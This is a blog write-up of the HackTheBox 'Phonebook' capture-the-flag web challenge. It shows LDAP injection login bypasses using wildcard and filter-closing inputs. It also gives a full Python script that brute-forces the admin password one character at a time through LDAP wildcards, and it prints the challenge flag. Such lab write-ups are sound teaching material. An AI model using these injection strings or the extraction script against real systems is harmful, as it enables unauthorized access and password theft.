HackTheBox – Phonebook Write-up

Dear readers,

Today’s post is Phonebook, a web challenge on HackTheBox. It was created on 31st October 2020. This challenge is on LDAP injection and brute-forcing LDAP login so read on if you are interested! Let’s get started!

Fig 1. Phonebook web challenge on HackTheBox

Files provided

There are no files provided for this challenge.

Outlook of the website

Fig 3a. Outlook of the main page of the website

URL of the website:

http://167.99.84.37:32125/login
Fig 3b. Outlook of failed authentication

URL received when authentication failed:

http://167.99.84.37:32125/login?message=Authentication%20failed

Analysis

Firstly, I tried to look for clues such as the incoming response header, directory traversal using Gobuster, testing of SQL flaw using Sqlmap, but they are all futile.

Bypass login

Therefore, looking at the login page for hints, I see that note from Reese stated that we can login using the workstation’s username and password. This gives us a hint that it is probably using LDAP authentication. To test if we can login, I used:

username: *
password: *

True enough, I was able to login.

Fig 4a. Page 2 after logging in

To further verify that the backend is using LDAP and not the LIKE clause in SQL, I used other LDAP injection values. But 1st, let us assume the LDAP backend constructed LDAP query will look like the one below for example based on the input previously.

(&(user=*)(pass=*))

Therefore, if we inject the following values,

Username: *)(&
Password: *)(&

The query constructed in the backend server should look like this:

(&(user=*)(&)(pass=*)(&))

Thus, TRUE & TRUE & TRUE & TRUE will result in a successful login. Based on the input above, we were able to login, thus confirmed that the backend is using LDAP.

Search result observation

As I tried to search for the admin, Reese, I could see his details appeared.

Fig 5a. Contact details of Reese

If I try to enter an asterisk (*) into the search filter, hoping that all names will appear, it does not work. If I enter a letter and follow by an asterisk, many contacts were shown.

Fig 5b. Search result of “A*”

However, I notice that if I did not include an asterisk, the backend query will include it for us and it is also not case-sensitive. Note that we are able to observe that the search bar only searches for names, not other details.

Fig 5c. Noticed search query automatically includes asterisk in search

Search for flag

When I tried to input “flag” or “HTB” into the search bar, I could not find any flag. When I decided to try if Reese’s account’s password is the flag, my assumptions were correct.

Username: Reese
Password: HTB{*}

I tried to do more testing and found out that the username is not case-sensitive but the password is. As there is no way for us to leak all the data from the search bar to leak the USER table unlike SQL, we can only use the brute force method to obtain the password/flag.

Obtaining password/flag

As we already know the username and the password starts with “HTB{” and ends with “}”, we will need to brute force the remaining letters of the password/flag. We can use the normal brute force way where we will input starting from “A” to “zzzzzz.zzzz” but it will take too long. As this is LDAP, we can exploit asterisk (*) to optimize our brute force method.

As asterisk means zero or more characters, we can start off with:

HTB{a*}
HTB{b*}
HTB{c*}
...
HTB{4*}
...

If the letter we are iterating is not part of the password/flag, we will not be able to login and be returned with a GET request message from the URL stating our authentication failed. Once we hit the correct letter, we can move on to the next letter. For example letter “d” is the first letter, “HTB{d*}” will allow us to login, thus we can move on to guess the 2nd letter instead of wasting time iterating the 1st letter since we know the 1st letter is “d” already.

HTB{a*}
HTB{b*}
HTB{c*}
HTB{d*}
HTB{da*}
HTB{db*}
...
HTB{dZ*}
HTB{d1*}
...

Therefore, we can construct Python code for it. You may also download the source code here.

import requests
import string

headers = {"UserAgent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"}
url = "http://167.99.84.37:32125/login"

chars = string.ascii_letters
chars += ''.join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '&', '-', '_', "'"])

counter = 0
flag = "HTB{"

while True:
    # if all chars are not correct means we previous already found the flag
    if counter == len(chars):
        print(flag + "}")
        break

    # creates something like HTB{a*}
    password = flag + chars[counter] + "*}"
    print("Trying: " + password)

    data = {"username" : "Reese", "password" : password}
    response = requests.post(url, headers=headers, data=data)
    
    if (response.url != url + "?message=Authentication%20failed"):
        # possible flag since we still using * at the end: e.g HTB{abc_*}.
        # append chars[] so that we not need to deal with removing "*}" as compared to if we assign password variable to flag variable
        flag += chars[counter]
        counter = 0
    else:
        # increment the char since we might not have found the right letter
        counter += 1

    

Once we iterated all the letters and the result still fails, it means that the latest password/flag entered without the asterisk (*) is the flag.

Fig 6. Flag obtained

Flag: HTB{d1rectory_h4xx0r_is_k00l}

I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. πŸ™‚

Advertisement

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.